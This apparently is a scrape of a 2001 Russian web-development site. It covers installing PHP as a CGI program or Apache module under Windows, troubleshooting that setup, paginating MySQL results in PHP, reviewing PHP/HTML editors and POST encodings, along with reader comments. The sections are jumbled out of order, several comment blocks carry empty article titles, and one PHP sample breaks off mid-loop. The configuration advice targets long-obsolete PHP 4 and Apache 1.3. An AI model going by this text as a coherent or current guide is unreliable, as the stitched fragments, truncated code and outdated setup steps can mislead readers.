Ответ DL:

Когда я работал сисадмином в маленькой психиатрической больнице, к психиатру поступил мой коллега... :))))
10.4.2001 16:17  Alexander Garbuz  []
HomeSite тут не при чем. Это вотпрос стабильности Windows. В версии 4.0.2 были некоторые глюки в текстовом редакторе но начиная с версии 4.5.0 их все убрали. А зависание происходит из-за кривого распределения памяти в Windows. На Winddows 2000 за почти год работы в версией 4.5.0 - 4.5.2 ни разу не было сбоя. Хотя для PHP это может и не лучший редактор. Но вот для HTML ничего лучше не придумали пока. HTML-Kit хорошая штука но вот по наглядности интерфейса сильно уступает HS. К тому же в посленей версии есть поддержка JSP. А ASP он подерживает уже почти год.
10.4.2001 17:05  Виктор  []
Можно еще писать в Cold Fusion Studio или JRun Studio (тот же home site, но с поддержкой rds и дополнительми панельками для CFML и JSP). После notepad'a скорость написания скриптов увеличивается раза в 2:))
10.4.2001 18:04  Ramzes  []
имхо, Homesite лучший редактор жаль, что его здесь нет.

Скорее это чисто субъективное мнение редактора его не включить в обзор, а если объективно.. =)

Настоящий конструктор, как настроешь, так и будет работать.. самая грамотная подсветка синтаксиса.

Я им пользуюсь более 4лет, еще с верисии 1.8 помоему, давно это было, нареканий нет :)

Можно изобретать велосипед, а можно пользовать настоящим инструментом, жду 5 вер. наверно там будет предусмотрена панель и для PHP тоже.
Ответ DL:

Ну... мне ещё было влом качать 13 мегабайт :)
<

Комментарии к статье ""


20.4.2001 10:12  Павел
Спасибо! Обязательно попробую. Тем более сейчас мне необходимо иметь и PHP3 (для *.php3) и PHP4 (для *.php) одновременно. Кое-что связанное с установкой стало яснее.
20.4.2001 12:52  Павел
Заработало! Действительно для установки достаточно всего 3 файлов.

Единственное что пришлось изменить - это строку LoadModule php4_module "f:/usr/local/php/php4apache.dll" на вариант с другими слешами LoadModule php4_module "f:usrlocalphpphp4apache.dll" в файле httpd.conf . Возможно это только в моей версии Apache: Apache/1.3.6 (Win32)?

Теперь у меня работает (он и раньше работал) PHP3 (а-ля CGI) и PHP4 (как модуль). PHP3 обрабатывает *.php3, а PHP4 работает с *.php - совсем как на моем настоящем сайте.
20.4.2001 12:54  Павел
Обратные слеши к сожалению не отобразились.
20.4.2001 16:15  Serge V. Larionov  []
А я сразу на этот способ наткнулся :) Я даже не знал. что это будет, как модуль апача.

Так что мне, в этом смысле, повезло.
21.4.2001 15:14  WereWolf  []
Ё-МОЁ!!!!!

запарился искать модуль php4apache.dll

все остальное есть... дайте плз ссылку де найти..или киньте на почту
21.4.2001 20:25  WereWolf
Спасибо, Pavel M.

отбой!! файло прислали... :)
23.4.2001 00:17  Daemonoid
Раз пошла такая пьянка - вот пример. Тестировалось на Apache 1.3.19 / mod_php 4.0.4pl1 / w2k

$fn="test.txt";

$fp=fopen($fn,"w");

for ($i=0;$i
fclose($fp);

$fp=fopen($fn,"r");

$s=fread($fp,256);

fclose($fp);

echo filesize($fn)." ".strlen($s);

Выдает он совсем не то, что ожидалось (256 256). Как показал эксперимент, символ EOF (код #1A) здесь работает именно как EOF. Это касается всех функций, которые работают с файлами - fgets, fread, file, readfile и т.д. А вот в качестве CGI все работает. Только из-за этого пришлось отказаться от вкусностей mod_php (самое вкусное для меня - возможность авторизации средствами PHP).

Господа, попробуйте у себя его проверить (и на w2k, и на w98 - ну нет у меня 98х ;).
23.4.2001 09:57  Павел
На 98 твой пример дает то же самое что и у тебя.

Попробовал использовать бинарный режим (при открытии букву b) и все заработало.

Вместо $fp=fopen($fn,"w"); пиши $fp=fopen($fn,"wb");

Вместо $fp=fopen($fn,"r"); пиши $fp=fopen($fn,"rb");

Проверь на своей системе.
<

Комментарии к статье ""


30.4.2001 11:51  DL  []
Отзывы не работали, теперь, кажется, всё в порядке.
30.4.2001 18:01  eagle
Зачем нужны функции, если эта навигационная строка используется

на странице один раз? Проще инклудить или реквестить pages.inc, рисующий нужную строку,

а текущую страницу и количество страниц получать в запросе в основной странице.

Это позволит и учитывать специфичность запросов - фильтрация, сортировка, и в начале страницы

нередко полезно указать страница 5 из 46.

Проверять же достоверность количества страниц вовсе не барское дело - всегда найдется клиент, которому интересно

будет ввести число по больше ручками.
Ответ DL:

Навигационная строка может использоваться два раза - если списка на странице два (хотя это, конечно, редкий изврат :). Просто у меня include и require для вывода данных запрещены. Потому что шаблонами пользуюсь. Там делается

$page->assign(array("limit" => get_limit(...), "nav_bar" => draw_bar(...)));

>страница 5 из 46
Кому надо, пусть свою функцию напишет - это ж для программистов сайт! Что им, сложно? :)
1.5.2001 13:59  Nina  []
Дима, исправь ссылку во втором абзаце строки ("Я уже писал про..."
Ответ DL:

Исправлено.
4.5.2001 15:30  Purr Serpent  []
Все это достаточно красиво и просто, но лучше бы было продолжение(расширение) статьи для случая, когда существуют (используются) несколько источников (возможно разнородных по структуре) для формирования результирующего списка.
Ответ DL:

Проблематично.
6.5.2001 14:03  BOLK
> if ($count/2==intval($count/2))

Замени на $count & 1. После такого остально читать не хочется.
6.5.2001 14:05  BOLK
> $amount = @mysql_result(mysql_query("SELECT count(id) as goods_total FROM goods"),0);

Э... а это что? :((

list ($amount) = mysql_fetch_row (...); не лучше?
16.5.2001 09:25  Constant  []
все эти варианты хороши только для случая, когда все разбито именно по записям. А как же быть с вариантами когда в поле сидит здоровый кусок текста и именно его нужно разбить по страницам, причем в зависимости от того сколько строк хочет увидеть пользователь на странице? Есть алгоритмы? Я вот с этим трапался довольно долго...
Ответ DL:

Это совсем другая песня, хотя что-то общее есть.
17.5.2001 13:48  Ioanna
A esli imen 15, u kazhdogo imeni po 30 zagolovkov k opisaniu, + vosmozhnost' prokrepit' file?...
<

Метод POST.


В случае HTTP запроса типа POST существует два варианта передачи полей из HTML форм, а именно, используя алгоритм application/x-www-form-urlencoded и multipart/form-data. Различия между данными алгоритмами весьма существенные. Дело в том, что алгоритм первого типа создавался давным-давно, когда в языке HTML еще не предусматривали возможность передачи файлов через HTML формы. Итак, давайте рассмотрим эти алгоритмы на примерах.



Об авторе


Не люблю особо о себе распространятся&nbsp;&#151; когда люди не знают подробностей о человеке, они вынуждены его уважать ;)) Но на работе комплекса Apache+PHP+Win32 собаку съел, поверьте! ;)) Впрочем, повторюсь, я не претендую этой статьей на универсальность. Просто прочитав несколько противоречивых руководств, и заглянув в несколько конференций, где обсуждается одно и то же ("это вам не линукс, под виндой ничего и не заработает!") многие будут неправильно информированы. Даже если они пытаются сделать так, как кто-то описывает и у них ничего не получается, себя они винят в последнюю очередь. Виноват если не Билл Гейтс и не инопланетяне, то, как минимум, ее величество Судьба, ниспославшая именно одному человеку такой запутанный Случай. Да, бывают Случаи, но они лечатся, как правило, переустановкой системы (это&nbsp;&#151; худший вариант и не надо считать это руководством к действию). Все остальные случаи&nbsp;&#151; совершенно обычны. <br />

<br />

Увидев в очередной раз в конференции сообщение типа "PHP + Апач + Win32 = ???" я сел, и написал эту статью. На одном дыхании. Надеюсь, когда еще у кого-то возникнут подобные вопросы, его сразу адресуют к моей статье: "иди, почитай, там все сказано". Впрочем, создание всеобъемлющего руководства по установке и конфигурированию PHP под Win32 невозможно без Ваших откликов: <a href=mailto:lkx2@mail.ru>lkx2@mail.ru</a>. <br />

<br />

Удачи! <br />

<br />

<font size=-1>Перепечатка и использование данной статьи для написания различного рода руководств допускаются только с согласия автора и только с обязательной ссылкой на оригинальную статью. <br />

Уважайте чужую интеллектуальную собственность!

(с) Дмитрий Короленко, 2001



PHPEd 1.75 alpha


Идея хорошая, но реализация сырая.

Хороших идей много. Можно делать проверку работы скрипта непосредственно через интерпретатор php или perl, можно, прописав путь к DocumentRoot, проверять работу скриптов через сервер (это бывает необходимо при работе с куками и header-ами). Есть встроенный броузер (кстати, весьма старый, не понимает, например, обозначений "&#92;"), сразу же можно посмотреть html-код полученной страницы (внизу две "вкладки" "HTML" и "Output"). Кроме того, справка по функциям php даётся необязательно с официального сайта ? можно указать путь к руководству на жестком диске.

Плохого тоже достаточно. Редактор ? один в один HTML-Kit одно-двухгодичной давности. Не знаю, кто у кого слизал, или этот движок вообще свободно распространяемый, дело даже не в этом. Если движок в последней версии HTML-Kit ещё более-менее пригоден, то этот очень неудобный. Глюков, о которых все пишут, не видел, потому как интенсивно этим редактором не пользовался.



Постскриптум.


Думаю, что о передаче запросов на сервер не стоит рассказывать подробно. Это уже дело чисто РНР техники :-). Достаточно внимательно прочитать раздел о функциях работы с сокетами, или о функциях модуля CURL в официальной документации РНР.

Из выше сказанного, надеюсь теперь понятно, почему вопрос: "Как мне сформировать POST запрос, используя функцию header?" ? бессмысленен. Функция header(string) добавляет запись только в заголовок запроса, но никак не в тело запроса.

Есть еще один тип запросов ? Content-Type: multipart/mixed, надеюсь после прочтения данной статьи Вы легко разберетесь с данным типом сами. Подробно изучить его можно []

О запросах других типов можно прочитать в официальной спецификации протокола HTTP 1.0 [].



Практическая часть.


Прежде всего, настоятельно рекомендую проверить работу веб-сервера Apache ДО каких-либо измывательств над бедным животным ;)) Поверьте, это сохранит Вам и многим другим кучу времени, нервов и физических сил. Не торопитесь устанавливать PHP, не проверив работоспособность Апача. Даже если Вам ОЧЕНЬ хочется. Всему свое время. Вам проще будет локализовать причину, если не будете торопиться.



Работа с MySQL. Часть 4. Постраничный вывод


DL
28.4.2001

Регулярно в форуме задают один и тот же вопрос: как сделать постраничный вывод. И каждый раз человеку отвечают: "Легко! m строк, начиная с n-ной: Select запрос Limit $n,$m". На самом деле не так всё просто.

Я уже про синтаксис параметра LIMIT, однако без толку. Для полноценного постраничного вывода строк из базы требуется большее. Требуется

1. Обработать номер страницы (в том числе проверить, не больше ли он общего количества страниц)

2. Нарисовать навигационную строку (чтобы не просто "вперед-назад", а с ссылками на несколько соседних страниц)

Тут-то и начинаются главные проблемы.

Недавно я работал над сайтом, в котором эти постраничные выводы в статистике были в каждом списке (а списков было много!). Тут-то и созрело решение, как свести все эти штучки к простому и единому решению. Получились четыре функции, которые я теперь использую везде, где нужен постраничный вывод данных, и не напрягаю попусту голову проблемой (как же я делал это там, как бы вынуть этот код оттуда?).

Первая функция? для внутреннего пользования двумя следующими. Берёт номер страницы, общее количество строк и количество строк на странице и выдаёт номер страницы, уже проверенный. Вторая берёт то же самое, проверяет номер страницы и выдаёт парамерт LIMIT либо полный (LIMIT n,m), либо краткий (LIMIT m), если это первая страница, либо ничего не выдаёт. Третья функция из тех же трёх параметров и адреса для ссылки делает навигационную строку. Ещё одна функция выдаёт число для нумерованного списка.

Этого достаточно для нормальной работы с постраничным выводом данных. Посмотрим, что получается в коде программы:

// кол-во строк в страницах

$in_page = 10;

// получаем количество строк

$amount = @mysql_result(mysql_query("SELECT count(id) as goods_total FROM goods"),0);

// рисуем навигационную строку и пишем начало таблицы

print("<div align=center>". draw_bar($page, $amount, $in_page, "goods.php?page="). "</div>\n<table>");


// формируем запрос к базе

$goods_result = mysql_query(" SELECT id, name, description, price FROM goods ORDER BY name, price ". get_limit($page, $amount, $in_page));

// получаем номер для нумерованного списка

$count = get_count_limit($page, $amount, $in_page);

// выводим строки

while ($good_row = mysql_fetch_array($goods_result)) {

  $count++;

  print ("<tr");

  // фон каждой второй строки ? серым цветом

  if ($count/2==intval($count/2))

    print (" bgcolor=#e1e1e1");

  print ("><td >$count.</td><td>${good_row[name]}<br>${good_row[description]}</td><td >${good_row[price]}</td></tr>\n");

  };

// конец таблицы и нижняя навигационная строка

print("</table><div align=center>". draw_bar($page, $amount, $in_page, "goods.php?page="). "</div>\n");

Это ВСЁ, что нужно для постраничного вывода! Больше напрягаться не надо!

Одно только пояснение ? в качестве параметра функции draw_bar указывается адрес этого скрипта со всеми параметрами так, чтобы он туда только дописывал номер страницы. Если сложная выборка, надо будет ручками формировать этот адрес (всё-таки упрощение жизни вышло относительное: упрощаем одно ? усложняем другое).

Навигационная панель сделана в виде номеров страниц (" 1 | 2 | 3 "). Но привести к виду "0-10 | 11-20 | 21-30" не проблема.

Ниже есть ссылка на файл с этими функциями.


Редакторы PHP и HTML


DL
10.4.2001

На нашем потребительском тесте 4 редактора. Это EditPlus, HTML-Kit, PHPEd и UltraEdit. Сперва сводная таблица их возможностей.

Подсветка синтаксиса HTML и PHP++*+*+
FTP++++
Автозавершение++++
Проекты+ ++
Проверка орфографии++ +
Макросы +++
Настройка панелей инструментов (мало ли, вдруг понадобится :)++ +
HTML-Tidy + +
Справка (мануал) по функциям php ++ 
Встроенный броузер ++ 
Установочный пакет (килобайт)97029009651004



Теоретическая часть.


Итак, как Вы поняли (из моего повествования, документации на PHP либо из других источников) возможны ДВА способа установки PHP на веб-сервере. Как CGI-программу и как модуль сервера. В принципе, подчеркну, <B>в принципе</B>, особой разницы нет. В любом случае, веб-сервер передает ядру PHP скрипт, путь к которому содержится в запросе клиентского браузера. В случае работы PHP как CGI порождается новый процесс, которому, собственно, и передается скрипт. В случае работы модуля, его код уже "висит" в памяти сервера. Это&nbsp;&#151; основное принципиальное отличие. Что из этого следует&nbsp;&#151; додумайте сами. <br />

<br />

Итак, как устанавливать PHP для работы совместно с веб-сервером Апач? Как CGI или как модуль Апача? Практически, особой разницы нет, но... Как упомянуто выше, вы ДОЛЖНЫ установить PHP как модуль для реализации функций работы с заголовками и авторизацией. Впрочем, это явления одного порядка. Кроме того, в случае PHP как CGI-программы, переменная <font color=#800000>&#36;PHP_SELF</font> (которая должна хранить имя выполняемого скрипта) содержит все что угодно, но только не имя. Это не самое страшное, что бывает, но вдруг придется использовать чей-то чужой скрипт, в котором она широко используется... Бывает, что при повторном вызове скрипта по имени, которое содержит переменная <FONT COLOR="#800000">&#36;PHP_SELF</FONT>, скрипт просто прекращает свою работу. Битая ссылка. Как это ни печально. Можно, наверное, назвать еще несколько отличий, но, как мне кажется, и этой разницы вполне достаточно, чтобы сделать выбор в пользу PHP-модуля. <br />

<br />

Да, и еще. Установив PHP как модуль, вы получите возможность управлять некоторыми его параметрами из файлов <B>.htaccess</B> Для экспериментального сервера это, пожалуй, не настолько уж важно&nbsp;&#151; все-таки, Вы являетесь и администратором. Но дистрибутивы некоторых программ PHP поставляются с файлами <B>.htaccess</B>, которые изменяют параметры PHP, и отказываются работать, если им это не удается. Можно поправить <B>php.ini</B>, но всякий раз для каждого скрипта его править... Нет, это выше человеческих сил! <br />

<br />

Итак, короткая теоретическая часть и долгое вступление, вернее, лирическое отступление ;)) закончились. Приступим к практике.



Траблшутинг


Допустим, оно у вас не заработало с первого раза... Что делать? Ну, прежде всего, конечно же, надо отправить во все конференции сообщение типа: "А-а-а-а-а!!! Хелп!!! У меня НИ-ЧЕ-ГО не работает!!!" И, разумеется, письмо автору данной статьи ;)) Самое главное&nbsp;&#151; сообщите как можно меньше информации о своей системе&nbsp;&#151; ну да, в конференциях ведь участвуют исключительно вундеркинды и телепаты, а Ваш покорный слуга&nbsp;&#151; так и вовсе Маг и Волшебник. Таким как он догадаться, на какой системе Вы работаете, и в чем может быть дело&nbsp;&#151; вообще пара пустяков! ;)) Да, кстати, в конференциях быстрее всего отвечают на постинги, набранные ЗАГЛАВНЫМИ БУКВАМИ. Ведь от долгой работы с компьютером портится зрение и Ваш постинг, набранный строчными буквами могут просто не заметить. ;)) <br />

<br />

А если серьезно, не надо паниковать. Давайте разберемся. <br />

<br />

<B>Симптомы:</B> Апача запустилась. Но скрипты не выполняются&nbsp;&#151; либо нагло лезут в окно браузера, либо хотят сохраниться на локальном диске. <br />

<br />

<B>Диагноз:</B> Скрипт не передается на выполнение парсеру PHP <br />

<br />

<B>Лечение:</B>

<br />

<br />

1. Проверьте работоспособность самого PHP. Для этого создайте в директории с <B>php.exe</B> файл, допустим, <B>test.php</B>: <br />

<br />

<font color="#800000">&lt;? echo "TEST" ?&gt;</FONT>

<br />

<br />

Запустите его командой <FONT COLOR="#800000">php.exe test.php</FONT>. Должны увидеть следующее:

Content-type: text/html

TEST

Заметьте: между первой и третьей строками есть пустая строка. Так надо, так должно быть. Именно так и никак иначе.

Если это не срабатывает? PHP страшно ругается и плюется, проверьте, есть ли у вас все необходимые файлы. А именно, файл php4ts.dll в директории с PHP либо в директории, содержащейся в переменной окружения PATH. Киньте ее в системную директорию windows и не мучайтесь. (Ну, я же предупреждал ? сначала проверьте работоспособность компонентов!)


Есть, но все равно проблема остается? Пожалуй, следует заглянуть поглубже... Впрочем, это выходит за рамки данной статьи. Скажу лишь, что файл php.ini, включенный в дистрибутив, требует настройки только в исключительных случаях. Поверьте, Ваш случай ? самый ординарный. ;)) Скорее всего, тогда дело в поврежденных выполняемых файлах дистрибутива.

2. PHP сам по себе все-таки работает... Проверим связку Апач + PHP...

Если у вас PHP сконфигурирован для работы в качестве модуля Апача (настоятельно рекомендую настроить его именно так! это дело всей моей жизни), проверьте загрузку модуля и назначение mime-типа application/x-httpd-php

Если PHP работает как внешняя программа, дополнительно к назначению mime-типа, проверьте назначение action, которое ставится в соответствие данному типу (см. Урок 1)

Симптомы: Апач вообще не запускается. Выскакивает черное окошко сеанса MS-DOS и тут же закрывается.

Предварительный диагноз: Неправильная конфигурация Апача. Что-то неправильно прописано в конфигурационных файлах. Либо отсутствует библиотека, необходимая для запуска модуля PHP ? php4apache.dll, либо само ядро php4ts.dll

Лечение: Ставим более точный диагноз:

Откроем новое окно сеанса MS-DOS (также можно воспользоваться также старым добрым Norton Commander, DOS Navigator и т.п.)Запустим апачу (внимание!) из командной строки: apache.exeТеперь посмотрим, на что он там заругался...

Если самостоятельно не удастся разобраться, в чем же дело, это здорово поможет, если не Вам, то, возможно, специалисту, к которому Вы обратитесь (Эй! Я не сказал, чтобы все обращались ко мне!) Описания типа "я все нормально установил, но Он тут же вываливается" вряд ли кого удовлетворят. Все-таки, Апач, хоть и довольно невразумительно (а разве бывает в мире программ иначе?), но все же сообщает, почему он не может стартовать. Так вот: СМОТРИТЕ НА ЭКРАН ? там часто сообщается о причинах ошибок программ. Не всегда, но часто. И данный случай ? не исключение.

Итак, сначала попытайтесь вспомнить, ругался ли он так ДО установки PHP. Если нет, то:



В случае установки в виде CGI проверьте правильность написания директив настройки Апача и в тех ли секциях Вы сделали изменения. Других вариантов нет. Дело в этом и только в этом. Ибо PHP вызывается Апачем для выполнения скриптов и не играет никакой роли при запуске самого Апача. Поэтому дальше речь пойдет ТОЛЬКО о PHP как модуле Апача. На CGI больше не останавливаемся.

Если Вы устанавливаете PHP как модуль Апача, следует посмотреть, может, ему чего-то не хватает? ;)) Попробуйте, например, положить php4ts.dll в директорию с Апачем. Иногда это помогает. В общем, дайте простор фантазии. Только не рукам! Не надо бить компьютер за то, что вы такой неумеха ;)) А выглядит оно, бывает, устрашающе ? Апач рушится, вызывая ошибку в apachecore.dll. Но это все неправда. Вам для работы требуется пиво, программам ? библиотеки и файлы конфигурации. Не так ли? ;))

По моим наблюдениям, разные версии Апача ведут себя несколько по-разному при подключении PHP модуля. Пожалуйста, поправьте меня, если у Вас есть данные считать по-другому.

Так, Apache 1.3.12 ищет php4ts.dll сначала в своей директории (где лежит Apache.exe), затем в директориях, указанных в переменной окружения PATH. Вполне может быть, что в Вашем случае в системной директории Windows лежит php4ts.dll от другой версии PHP Как правило, от старой версии ;)) И php4apache.dll не может ее загрузить. А ТУ САМУЮ версию просто не находит. Честно сказать, я терпеть не могу, когда программы при инсталляции кидают в системную директорию свои библиотеки. Я скорее примирись с тем, что одна и та же библиотека будет у меня лежать в двух директориях. Речь идет о директории Апача и о директории с php.exe (иногда полезно) и библиотекой php4apache.dll. Вообще говоря, это все можно положить прямо в директорию Апача ? и далеко ходить не надо, и апдейт проще произвести ? нигде не забудете старую библиотеку.

Apache 1.3.14 ищет php4ts.dll сначала в той директории, где у Вас лежит php3apache.dll. В данном случае все файлы PHP можно сложить в одну директорию. Я так и сделал.

Еще бывают случаи, когда Вы пытаетесь прикрутить к PHP-модулю Апача дополнительные модули и библиотеки (например, пресловутую php_gd.dll) от других версий PHP. Не уверен, что это удастся. Во всяком случае, Апач (точнее, PHP в его составе) шибко ругается, что не совпадают внутренние версии API. Для начала лучше их все отключить. Понятно, где ? в php.ini. В любом случае, присматривайтесь к сообщениям, выдаваемым при запуске.

Да, и еще. Подключая дополнительные модули, обязательно пропишите переменную extension_dir в файле php.ini ? по умолчанию PHP ищет их в той же директории, в которой находится (./) а в дистрибутиве они лежат в директории extensions/ ? странно, да?..


Тоже хороший редактор. Пользовался им


Тоже хороший редактор. Пользовался им больше года. Но сейчас, к сожалению, могу описывать его только с точки зрения пользователя EditPlus.

В поиске и замене есть галочка "поиск во всем тексте" (чтоб не "вверх-вниз"). Регулярные выражения в поске - звёздочка и вопросительный знак (как в файловых системах). Подсветка синтаксиса php есть на сайте. В отличие от других редакторов не умеет показывать настоящий номер строки при включенном переносе слов.

Их полезного - удаление пробелов из концов строк и шестнадцатиричный режим редактирования (правил недавно в нём icqcore.dll, чтоб баннеры вырезать). А в остальном - очень хороший редактор.



Почему здесь нет HomeSite? Потому что тех, кто им пользуется, уже не переубедить. А вот к тем, кто собирается его качать и ставить, взываю: одумайтесь!

Сам пользовался им пару месяцев, после чего с чистой совестью удалил. Моё чисто субъективное мнение? очень громоздкая штука, которая к тому же периодически или сама зависает, или подвешивает систему (по крайней мере, такое происходило регулярно после запуска HomeSite+Apache). Не знаю, возможно, сейчас ситуация изменилась, и авторы исправили ошибки в программах, но снова ставить на себе эксперименты не хочу.


Установка PHP а-ля CGI


Данный вопрос неплохо освещен в Сети. Но&nbsp;&#151; справедливости ради упомянем его, ограничившись, правда, лишь ключевыми моментами. <br />

<br />

Альтернативный способ. Прежде всего, рекомендуется все, что связано с локальной копией веб-сервера, сложить в одну директорию, а директорию, в свою очередь, подключить как виртуальный диск командой <FONT COLOR="#800000">subst f: путь-к-директории</FONT>, чтобы все было "как в юниксе". Действительно, мудрое решение. Особенно удобно не лазать по деревьям директорий (мы же не обезьяны, в конце-то концов)&nbsp;&#151; все, что относится к веб-серверу, под рукой. Но не все, далеко не все имеют возможность выделить для экспериментов целый логический диск. Поэтому данный совет весьма полезен. <br />

<br />

На установке самого веб-сервера я задерживаться, пожалуй, не буду. Ничего сложного нет, все конфигурационные файлы неплохо самодокументированы. Да и руководств по установке и настройке его в Сети&nbsp;&#151; МОРЕ. <br />

<br />

Итак, Апач уже установлен в директорию типа <FONT COLOR="#800000">f:/usr/local/apache</FONT> (где f&nbsp;&#151; буква, соответствующая виртуальному диску) и полностью работоспособен. Соответственно, PHP хорошо бы установить рядышком&nbsp;&#151; скажем, в <FONT COLOR="#800000">f:/usr/local/php</FONT>

<br />

<br />

Распаковываем архив дистрибутива PHP. Нам прямо-таки жизненно необходимо не так уж и много файлов. Это: <br />

<br />

<B>php.exe</B>&nbsp;&#151; интерпретатор командной строки <br />

<B>php4ts.dll</B>&nbsp;&#151; собственно ядро PHP <br />

<B>php.ini-dist</B>&nbsp;&#151; конфигурационный файл, версия из дистрибутива <br />

<br />

Представьте себе, это&nbsp;&#151; ВСЁ! Кто-то спросит: а почему же оригинальный дистрибутив занимает аж по 3-5 мегабайт в архиве (в зависимости от версии и комплектации). А потому что в нем содержатся различные библиотеки расширений для генерации картинок "на лету", для работы с базами данных Postgre SQL, SyBase SQL и т.п. Заметьте: поддержка MySQL в PHP версии 4 встроена прямо в ядро и не требует никаких дополнительных файлов. Все эти расширения вы можете поставить в любой момент. <br />


<br />
Установили, скопировали <B>php.ini-dist</B> из дистрибутива в директорию windows и переименовали его в <B>php.ini</B>. Попробовали, работает ли PHP сам по себе? Создайте в директории с PHP текстовый файл с именем, например, test.php: <br />
<br />
<font color="#800000">&lt;? echo "TEST" ?&gt;</font>
<br />
<br />
И запускаете его из командной строки: <br />
<br />
<font color="#800000">php.exe test.php</font>
<br />
<br />
Получаете такое вот:
Content-type: text/html
TEST

Это означает, что PHP сам по себе работает.

Если у Вас не работает либо Apache, либо PHP, то рано нам заниматься конфигурированием связки Апач + PHP. Пусть оно сначала по отдельности все заработает. Обратитесь к разделу "Траблшутинг".

Итак, предыдущий шаг показал нам, что все О.К.

Последующие настройки касаются только файла конфигурации Апача httpd.conf. Добавим mime-тип, соответствующий расширению программ PHP:

AddType application/x-httpd-php .php .php3 .phtml
Причем это следует сделать в секции описания модуля mod_mime? это стандартный модуль апача. Либо добавить в конфигурационный файл mime.types ? но, мне кажется, лучше вносить изменения только в один файл, а не в десять сразу.

Затем поставим действие (action) в соответствие указанному нами типу:

<Directory "f:/usr/local/php">

  Options ExecCGI

</Directory>

ScriptAlias "/__php_dir__/" "f:/usr/local/php/"

Action application/x-httpd-php "/__php_dir__/php.exe"
Это рекомендуется сделать непосредственно перед секцией Virtual Hosts.

Ну и все на этом... Скопировали созданный нами тестовый файл в корневой каталог веб-сервера и набрали его URL в строке веб-браузера. Должно работать. Если нет ? обратитесь к секции "Траблшутинг" ниже. Может, поможет. Также посмотрите настройки Апача ? особенно секцию Virtual Hosts, если вы пытались обратиться к своему серверу по имени (ну, типа http://vasjapupkin.com/test.php).

Установка PHP как модуля Апачи


Необходимые материалы (тот минимум, с которым все работает):

php4ts.dll (собственно, ядро PHP)php4apache.dll (модуль для Апача)

php.ini (ну, понятно, что это и для чего)

php.exe (превосходно работает и без него, но пригодилось бы для проверки работоспособности ядра PHP)

Ход работы.

Копируем php.ini в директорию windows (у кого где она расположена, но у большинства ? c:\windows)

Создаем директорию, в которую положим php4ts.dll и php4apache.dll В соответствии с вышеприведенными соглашениями ? f:/usr/local/php

Находим секцию httpd.conf "Dynamic Shared Object (DSO) Support" ? ее очень просто найти, в ней куча (обычно закомментированных строк) вида LoadModule ... Добавляем свою строчку:

LoadModule php4_module "путь-к-директории-php/php4apache.dll"

Если Вы следовали приведенным выше рекомендациям назначения имен директорий, то она должна выглядеть как:

LoadModule php4_module "f:/usr/local/php/php4apache.dll"

Добавляем mime-тип AddType application/x-httpd-php .phtml .php .php3 .php4Если Вы ранее воспользовались альтернативным способом (подключение PHP как CGI), то, пожалуй, самое время убрать строчки, связанные с сопоставлением action для указанного типа ? просто забьем комментариями:

#<Directory "f:/usr/local/php">

#  Options ExecCGI

#</Directory>

#ScriptAlias "/__php_dir__/" "f:/usr/local/php/"

#Action application/x-httpd-php "/__php_dir__/php.exe"

Ну и все ? попробуем запустить апачу. При нормальной работе увидите примерно такую строчку: Apache/1.3.12 (Win32) PHP/4.0.4pl1 running... Сбегайте в ближайший ларек и купите себе пива.



Установка PHP + Apache: CGI vs. module


Дмитрий Короленко
20.4.2001

от многих забот и проблем избавитесь,

установив пхп в виде модуля апачи

(вау! прямо как в рекламном ролике

получилось, надо же) -

тогда и хэдеры будут высылаться,

и переменная $PHP_SELF

будет указывать именно на скрипт...

(из постинга в форум на phpclub)

последнее изменение: 10.01.02

Данное руководство (?) ни в коей мере не претендует на полноту отражения затронутых вопросов. Оно не описывает нюансов настройки веб-сервера Апач. Только самое необходимое. И только связанное с работой PHP совместно с веб-сервером Апач. И, естественно, возможны различные неточности и ошибки. Просьба указать на них (контактная информация? в конце статьи).

Сразу предупреждаю ? те, кто дорожат своим временем (либо те, кому побыстрее хочется заполучить работающий веб-сервер) могут пропустить мои излияния (включая вступление, теоретическую и добрую половину практической части) и сразу перейти к Уроку 2. Там описывается установка PHP как модуля Apache под Win32. А остальное… Ну, кто-то, наверное, прочитает. ;)) Надеюсь, таких будет немало.



Вступление


Итак, почему я написал эту статью? И зачем нам вообще такая экзотика как Апач и PHP под Win32?

Для отладки скриптов PHP на локальной машине мне понадобилось установить веб-сервер + PHP под Win32 (принципиально пользуюсь MS Windows ? ибо, на мой взгляд, продуктивная работа, связанная с веб-дизайном, под Unix и его клонами попросту невозможна ? при этих словах я увернулся от летящего в меня Тухлого Помидора ? эти системы хороши как серверная основа, но не более того). Спорить со мной не надо, да я и не буду. Кроме того, вы же читаете эту статью, а, значит, планируете установить Апач + PHP именно под всеми ненавистной Виндой. ;))

Не помню уж, что это был за первый испытанный мной веб-сервер, но запуск парсера PHP мои скрипты осуществляли строчкой #!c:/php/php.exe что не есть очень удобно. Хотя… Авторы PHP (в официальной документации!) указывают на то, что с точки зрения безопасности такой способ ? наилучший. При этом сам парсер "живет" далеко от самих файлов со скриптами. И скрипт передается ему на выполнение не веб-сервером, а интерпретатором командной строки. Но я не думаю, что этому способу установки вообще есть смысл обращать пристальное внимание. Мы же с Вами не параноики и не мазохисты.

Памятуя о том, что большинство провайдеров использует в качестве веб-сервера Апач, решил установить его виндовую версию на локальной машине. Да и не только в провайдерах дело. Пожалуй, это, если и не самый, то один из самых конфигурируемых серверов. Сказано ? сделано. Осталось прикрутить PHP. В Сети нашлось много руководств, подписанных разными авторами, но их содержание было подозрительно схожим... Чуть ли не с точностью до знаков препинания. Видимо, бОльшая часть этих статей представляет собой оригиналы разной свежести и клоны статей Дмитрия Котерова [] и Александра Бугакова []. Если кого-то пропустил, I beg your pardon.

Итак, в них описывается способ установки PHP как CGI-программы. Этот способ заполонил всю сеть и многие даже не подозревают, что можно сделать иначе. Но мы его назовем "альтернативным". Да-да, именно так! Более того ? я скажу, что это вредный способ. Он ссорит между собой тех, кто работает под виндой, и линуксоидов. Ибо когда первые жалуются: "у меня PHP как-то не так работает", вторые с кривой ухмылкой заявляют "Виндовз ? маст дай! Линукс ? рулез форева! Ставьте линукс ? и таких проблем не будет. Потому что под виндовз НЕВОЗМОЖНО установить PHP как модуль Апача. Хоть в лепешку расшибись." Нет, я не хочу дискутировать о достоинствах или недостатках той или иной операционной системы. Тем более, не в данной статье. Но я сам чуть было не обратился в эту веру.

Теперь впечатления. Запускаем скрипт, который пытается послать заголовки (header) ? неа, не работает :(( Заглядываем в мануал: в чем дело? Ах, какая досада... Оказывается, PHP должен работать как модуль Апача. Жалко... Ведь под винду нам модуль не установить... Так, а как насчет авторизации по коду 403? Тоже не работает... Придется и от этого отказаться...

